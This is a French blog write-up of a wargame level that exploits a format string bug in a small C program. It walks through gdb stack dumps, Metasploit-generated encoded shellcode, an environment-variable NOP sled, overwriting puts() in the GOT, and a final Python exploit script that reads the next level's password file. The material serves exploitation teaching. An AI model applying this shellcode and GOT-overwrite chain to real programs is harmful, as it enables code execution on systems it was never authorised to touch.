la vulnérabilité
Voici le code source de l'épreuve:
level8@srv-public:~$ cat level8.c
#include < stdio.h>
#include < stdlib.h>
// gcc -o level8 level8.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
int main(int argc, char *argv[])
{
if(argc < 2) {
printf("Empty login! \n");
exit(-1);
}
printf(argv[1]);
printf("\nNice to see you\n");
exit(0);
}
Nous pouvons afficher le contenu de la pile:
level8@srv-public:~$ ./level8 $(perl -e 'print "%x-"x100')et avec gdb, nous confirmons bien que c'est la pile:
bffff778-b7ea4c85-2-bffff7a4-bffff7b0-b7fe0b48-1-1-0-8048266-b7fd5ff4-8048480-8048370-bffff778-e6344107-cd429517-0-0-0-b7ff6270-b7ea4bad-b7ffeff4-2-8048370-0-8048391-8048424-2-bffff7a4-8048480-8048470-b7ff0fd0-bffff79c-b7ffc793-2-bffff890-bffff899-0-bffff9c6-bffff9d1-bffff9e1-bffffa02-bffffa15-bffffa21-bfffff11-bfffff27-bfffff54-bfffff65-bfffff75-bfffff8c-bfffff94-bfffffa6-bfffffb5-bfffffe8-0-20-b7fe1414-21-b7fe1000-10-febfbff-6-1000-11-64-3-8048034-4-20-5-7-7-b7fe2000-8-0-9-8048370-b-3f0-c-3f1-d-3f0-e-3f0-17-1-f-bffff88b-0-0-0-69000000-363836-656c2f2e-386c6576-2d782500-252d7825-78252d78-2d78252d-
Nice to see you
level8@srv-public:~$ gdb ./level8
(gdb) disassemble main
Dump of assembler code for function main:
0x08048424 <+0>: push %ebp
0x08048425 <+1>: mov %esp,%ebp
0x08048427 <+3>: sub $0x4,%esp
0x0804842a <+6>: cmpl $0x1,0x8(%ebp)
0x0804842e <+10>: jg 0x8048448
0x08048430 <+12>: movl $0x8048530,(%esp)
0x08048437 <+19>: call 0x8048350
0x0804843c <+24>: movl $0xffffffff,(%esp)
0x08048443 <+31>: call 0x8048360
0x08048448 <+36>: mov 0xc(%ebp),%eax
0x0804844b <+39>: add $0x4,%eax
0x0804844e <+42>: mov (%eax),%eax
0x08048450 <+44>: mov %eax,(%esp)
0x08048453 <+47>: call 0x8048340
0x08048458 <+52>: movl $0x804853e,(%esp)
0x0804845f <+59>: call 0x8048350
0x08048464 <+64>: movl $0x0,(%esp)
0x0804846b <+71>: call 0x8048360
End of assembler dump.
(gdb) break * main+52
Breakpoint 1 at 0x8048458
(gdb) r $(perl -e 'print "%x-"x100')
Starting program: /home/level8/level8 $(perl -e 'print "%x-"x100')
Breakpoint 1, 0x08048458 in main ()
(gdb) x/128x $esp
0xbffff6d4: 0xbffff876 0xbffff738 0xb7ea4c85 0x00000002
0xbffff6e4: 0xbffff764 0xbffff770 0xb7fe0b48 0x00000001
0xbffff6f4: 0x00000001 0x00000000 0x08048266 0xb7fd5ff4
0xbffff704: 0x08048480 0x08048370 0xbffff738 0x9479c0de
0xbffff714: 0xbf0c94ce 0x00000000 0x00000000 0x00000000
0xbffff724: 0xb7ff6270 0xb7ea4bad 0xb7ffeff4 0x00000002
0xbffff734: 0x08048370 0x00000000 0x08048391 0x08048424
payload
Comme pour les épreuves précédentes, nous utilisons Metasploit$ msfconsoled'où notre payload:
msf > use payload/linux/x86/exec
msf payload(exec) > set ENCODER x86/alpha_mixed
ENCODER => x86/alpha_mixed
msf payload(exec) > set CMD "cat ../level9/passwd"
CMD => cat ../level9/passwd
msf payload(exec) > generate
# linux/x86/exec - 174 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=cat ../level9/passwd
buf =
"\x89\xe6\xdd\xc0\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +
"\x42\x75\x4a\x49\x43\x5a\x46\x6b\x51\x48\x4e\x79\x42\x72" +
"\x50\x66\x43\x58\x44\x6d\x50\x63\x4c\x49\x4d\x37\x43\x58" +
"\x44\x6f\x50\x73\x51\x78\x43\x30\x51\x78\x46\x4f\x42\x42" +
"\x42\x49\x50\x6e\x4b\x39\x4b\x53\x50\x52\x48\x68\x45\x45" +
"\x47\x70\x45\x50\x47\x70\x45\x33\x45\x31\x44\x34\x45\x70" +
"\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x45\x35\x50\x76\x50\x65" +
"\x50\x6c\x44\x79\x44\x6f\x42\x50\x50\x61\x50\x73\x42\x53" +
"\x50\x77\x50\x64\x45\x50\x43\x67\x46\x33\x4c\x49\x4b\x51" +
"\x48\x4d\x4f\x70\x41\x41"
"\x89\xe6\xdd\xc0\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x46\x6b\x51\x48\x4e\x79\x42\x72\x50\x66\x43\x58\x44\x6d\x50\x63\x4c\x49\x4d\x37\x43\x58\x44\x6f\x50\x73\x51\x78\x43\x30\x51\x78\x46\x4f\x42\x42\x42\x49\x50\x6e\x4b\x39\x4b\x53\x50\x52\x48\x68\x45\x45\x47\x70\x45\x50\x47\x70\x45\x33\x45\x31\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x45\x35\x50\x76\x50\x65\x50\x6c\x44\x79\x44\x6f\x42\x50\x50\x61\x50\x73\x42\x53\x50\x77\x50\x64\x45\x50\x43\x67\x46\x33\x4c\x49\x4b\x51\x48\x4d\x4f\x70\x41\x41"
injection
Nous avons besoin de l'exécutable getenvaddress (vu au level5, ne pas oublier d'enlever les espaces ajoutés dans les #include à cause de l'affichage buggé de blogspot.com) :level6@srv-public:~$ vim /tmp/getenvaddress.c
// getenvaddress.c
// thanks Niklos !!
// usage: inject 'NOMDELAVARIABLEDENVIRONNEMENT'
#include < stdio.h>
#include < stdlib.h>
#include < string.h>
int main(int argc, char **argv) {
char *ptr;
ptr = getenv(argv[1]);
if( ptr == NULL )
printf("%s not found\n", argv[1]);
else printf("%s found at %08x\n", argv[1], (unsigned int)ptr);
return 0;
}
compilons (rappel: enlever les espaces dans #include) :
level6@srv-public:~$ gcc -Wall -o /tmp/getenvaddress /tmp/getenvaddress.c
injectons en ajoutant des NOP:
export LOL=$(perl -e 'print "\x90"x200 . "\x89\xe6\xdd\xc0\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x46\x6b\x51\x48\x4e\x79\x42\x72\x50\x66\x43\x58\x44\x6d\x50\x63\x4c\x49\x4d\x37\x43\x58\x44\x6f\x50\x73\x51\x78\x43\x30\x51\x78\x46\x4f\x42\x42\x42\x49\x50\x6e\x4b\x39\x4b\x53\x50\x52\x48\x68\x45\x45\x47\x70\x45\x50\x47\x70\x45\x33\x45\x31\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x45\x35\x50\x76\x50\x65\x50\x6c\x44\x79\x44\x6f\x42\x50\x50\x61\x50\x73\x42\x53\x50\x77\x50\x64\x45\x50\x43\x67\x46\x33\x4c\x49\x4b\x51\x48\x4d\x4f\x70\x41\x41"')
récupérons l'adresse:
level6@srv-public:~$ /tmp/getenvaddress LOLNous choisirons comme adresse bffffe7d (32 octets plus loin, pour sauter dans les NOPs).
LOL found at bffffe5d
détourner le flux d'exécution
Nous ne disposons pas d'un RET après notre fonction printf(). Nous ne pouvons rediriger le flux d'exécution en plaçant l'adresse de notre payload sur la pile. Nous allons donc chercher un autre emplacement "writable" pour placer l'adresse de notre payload.remplacer une entrée de la GOT
La fonction puts() est appelée après la fonction printf dans notre main():(gdb) disassemble main
(...)
0x08048450 <+44>: mov %eax,(%esp)
0x08048453 <+47>: call 0x8048340 <printf@plt>
0x08048458 <+52>: movl $0x804853e,(%esp)
0x0804845f <+59>: call 0x8048350 <puts@plt>
0x08048464 <+64>: movl $0x0,(%esp)
0x0804846b <+71>: call 0x8048360
Nous allons donc réécrire l'entrée de la fonction puts() dans la Global Offset Table. Ainsi, lorsqu'elle sera appelée, ce sera notre payload qui sera lancé.
Pour obtenir les adresses dans la Global Offset Table de notre exécutable, voici deux méthodes:
méthode 1: avec objdump
level8@srv-public:~$ objdump -s -j .got.plt ./level8
./level8: file format elf32-i386
Contents of section .got.plt:
804963c 68950408 00000000 00000000 26830408 h...........&...
804964c 36830408 46830408 56830408 66830408 6...F...V...f...
level8@srv-public:~$ objdump -R ./level8
./level8: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049638 R_386_GLOB_DAT __gmon_start__
08049648 R_386_JUMP_SLOT __gmon_start__
0804964c R_386_JUMP_SLOT __libc_start_main
08049650 R_386_JUMP_SLOT printf
08049654 R_386_JUMP_SLOT puts
08049658 R_386_JUMP_SLOT exit
méthode 2 : avec gdb:
Voyons puts en assembleur:
(gdb) disassemble putsL'instruction jmp *0x8049654 est intéressante car c'est bien une entrée de la GOT:
Dump of assembler code for function puts@plt:
0x08048350 <+0>: jmp *0x8049654
0x08048356 <+6>: push $0x18
0x0804835b <+11>: jmp 0x8048310
End of assembler dump.
(gdb) x/x 0x08049654
0x8049654 <_GLOBAL_OFFSET_TABLE_+24>: 0x08048356
Nous pouvons donc écrire l'adresse de notre payload 0xaabbccdd à l'adress 0x08049654
trouver le nombre de mots sur la pile avant notre chaine
Un petit script pour récupérer le nombre de mots sur la pile avant notre chaîne de caractères.
Ce script de plus propose d'ajouter un padding pour aligner notre adresse sur un mot de la pile.
level8@srv-public:~$ cat /tmp/find.py
#!/bin/python
import subprocess
padding = ''
while True:
p = subprocess.Popen('/bin/sh',stdin=subprocess.PIPE,stdout=subprocess.PIPE)
cmd = "/home/level8/level8 " + "AAAA" + padding + "-%x"*110 + " | grep 4141"
stack = p.communicate(cmd)[0]
index = stack.find('-41414141')
if index != -1:
break
padding += 'B'
print stack
print "number of words up to our string (dec): "
print stack.count('-',0,index)
print "padding added: '" + padding +"'"
level8@srv-public:~$ python /tmp/find.py
AAAAB-bffff728-b7ea4c85-2-bffff754-bffff760-b7fe0b48-1-1-0-8048266-b7fd5ff4-8048480-8048370-bffff728-724fa0f2-593a94e2-0-0-0-b7ff6270-b7ea4bad-b7ffeff4-2-8048370-0-8048391-8048424-2-bffff754-8048480-8048470-b7ff0fd0-bffff74c-b7ffc793-2-bffff848-bffff85c-0-bffff9ac-bffff9bc-bffff9c7-bffff9ea-bffff9fd-bffffa09-bffffef9-bfffff26-bfffff3c-bfffff52-bfffff63-bfffff73-bfffff8a-bfffff9c-bfffffa4-bfffffb3-0-20-b7fe1414-21-b7fe1000-10-febfbff-6-1000-11-64-3-8048034-4-20-5-7-7-b7fe2000-8-0-9-8048370-b-3f0-c-3f1-d-3f0-e-3f0-17-1-f-bffff83b-0-0-0-69000000-363836-0-0-6d6f682f-656c2f65-386c6576-76656c2f-386c65-41414141-78252d42-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d
number of words up to our string (dec):
101
padding added: 'B'
calculer les [ni]
récapitulons:
Nous voulons:
[address+3][address+2][address+1][address]%1$[n1 - 16]x%[m+1]$n%1$[n2-n1]x%[m+2]$n%1$[n3-n2]x%[m+3]$n%1$[n4-n3]x%[m+4]$n[padding][address] = "\x54\x96\x04\x08"
[source] = 0xbffffe7d
n1-16 = 0x7d - 0x10 = 125 - 16 = 109
n2-n1 = 0x1fe - 0x7d = 510 - 125 = 385
n3-n2 = 0x2ff - 0x1fe = 767 - 510 = 257
n4-n3 = 0x3bf - 0x2ff = 959 - 767 = 192
exploitation
Nous avons encore deux difficultés à surmonter, liées aux variations de la pile, avant de pouvoir réussir notre exploitation:- la première concerne le nombre de mots au dessus de notre chaîne. En effet, ce nombre varie d'un jour à l'autre,
- la seconde concerne l'octet de début de notre chaîne qui varie également et entraine un décalage des adresses dans notre chaine.
Dans notre exploitation, cela correspond à une variation de [m] et de [padding]. Nous avons vu grace au script /tmp/find.py que:
- [m] est environ égal à 101,
- [padding] est environ égal à "A".
d'où notre chaîne:
level8@srv-public:~$ cat /tmp/solution.pySeulement, ca ne marche pas:
#!/bin/python
address3 = "\x57\x96\x04\x08"
address2 = "\x56\x96\x04\x08"
address1 = "\x55\x96\x04\x08"
address = "\x54\x96\x04\x08"
n1_16 = "0109"
n2_n1 = "0385"
n3_n2 = "0257"
n4_n3 = "0192"
# m = 101
m1 = "00102"
m2 = "00103"
m3 = "00104"
m4 = "00105"
padding = "A"
print address + address1 + address2 + address3 + "%1$" + n1_16 + "x" + "%" + m1 + "$n" + "%1$" + n2_n1 + "x" + "%" + m2 + "$n" + "%1$" + n3_n2 + "x" + "%" + m3 + "$n" + "%1$" + n4_n3 + "x" + "%" + m4 + "$n" + padding
level8@srv-public:~$ ./level8 $(python /tmp/solution.py)
Erreur de segmentation
1ère méthode, en tatonnant:
Nous allons tatonner un peu (à la main, car nous aurons moins d'une quinzaine d'essais à faire):[m] = 101, [padding] = "A",
[m] = 101, [padding] = "AA",
[m] = 101, [padding] = "AAA",
[m] = 101, [padding] = "",
[m] = 100, [padding] = "A",
[m] = 100, [padding] = "AA",
[m] = 100, [padding] = "AAA",
[m] = 100, [padding] = "",
[m] = 102, [padding] = "A",
[m] = 102, [padding] = "AA",
[m] = 102, [padding] = "AAA",
[m] = 102, [padding] = "",
[m] = 099, [padding] = "A",
[m] = 099, [padding] = "AA" Bingo!
2ème méthode, en comptant:
Pour moins tatonner, il est possible de voir ce à quoi ressemble à peu près la pile grace à gdb. Bien sûr la pile d'un exécutable débuggé diffère de celle sans gdb. Mais cela permet de se donner une idée du mot sur lequel notre exploit essaie de sauter.le log de l'erreur nous donne la valeur erronée prise dans la pile comme adresse de destination [address] :
level8@srv-public:~$ dmesg | grep level8 | sed -n '$p'La pile ressemble environ à:
[102243.163546] level8[3236]: segfault at 386c65 ip b7ecfa30 sp bfffe148 error 6 in libc-2.11.1.so[b7e8e000+146000]
level8@srv-public:~$ gdb ./level80x00386c65 est situé un mot avant notre adresse cible 0x08049654. Donc [m qui fonctionne] = [m testé] -1 = "100"
(gdb) break * printf
Breakpoint 1 at 0x8048340
(gdb) run $(python /tmp/solution.py)
Starting program: /home/level8/level8 $(python /tmp/solution.py)
Breakpoint 1, 0xb7ed6060 in printf () from /lib/i686/cmov/libc.so.6
(gdb) x/144x $esp
(...)
0xbffff790: 0x0000000f 0xbffff7ab 0x00000000 0x00000000
0xbffff7a0: 0x00000000 0x00000000 0x69000000 0x00363836
0xbffff7b0: 0x00000000 0x00000000 0x00000000 0x6f682f00
0xbffff7c0: 0x6c2f656d 0x6c657665 0x656c2f38 0x386c6576
0xbffff7d0: 0x04965400 0x04965508 0x04965608 0x04965708
0xbffff7e0: 0x24312508 0x39303130 0x30302578 0x24303031
0xbffff7f0: 0x2431256e 0x35383330 0x30302578 0x24313031
0xbffff800: 0x2431256e 0x37353230 0x30302578 0x24323031
0xbffff810: 0x2431256e 0x32393130 0x30302578 0x24333031
0xbffff820: 0x0041416e 0x4c454853 0x622f3d4c 0x622f6e69
0xbffff830: 0x00687361 0x4d524554 0x6574783d 0x53006d72
0xbffff840: 0x435f4853 0x4e45494c 0x33383d54 0x3530322e
0xbffff850: 0x3131312e 0x3031312e 0x38383420 0x32203430
le décalage est de un caractère en trop, donc [padding qui fonctionne] = [padding testé] - A = "A"
solution (au moment de la rédaction de l'article):
d'où la solution au moment où l'article est rédigé:level8@srv-public:~$ cat /tmp/solution.py
#!/bin/python
address3 = "\x57\x96\x04\x08"
address2 = "\x56\x96\x04\x08"
address1 = "\x55\x96\x04\x08"
address = "\x54\x96\x04\x08"
n1_16 = "0109"
n2_n1 = "0385"
n3_n2 = "0257"
n4_n3 = "0192"
m1 = "00100"
m2 = "00101"
m3 = "00102"
m4 = "00103"
print address + address1 + address2 + address3 + "%1$" + n1_16 + "x" + "%" + m1 + "$n" + "%1$" + n2_n1 + "x" + "%" + m2 + "$n" + "%1$" + n3_n2 + "x" + "%" + m3 + "$n" + "%1$" + n4_n3 + "x" + "%" + m4 + "$n" + "AA"
level8@srv-public:~$ ./level8 $(python /tmp/solution.py)
MOT DE PASSE
références
tutoriel format string - http://infond.blogspot.comtutoriel format string - http://www.bases-hacking.org/format-strings.html
printf - http://www.cplusplus.com/reference/clibrary/cstdio/printf/
Aucun commentaire:
Enregistrer un commentaire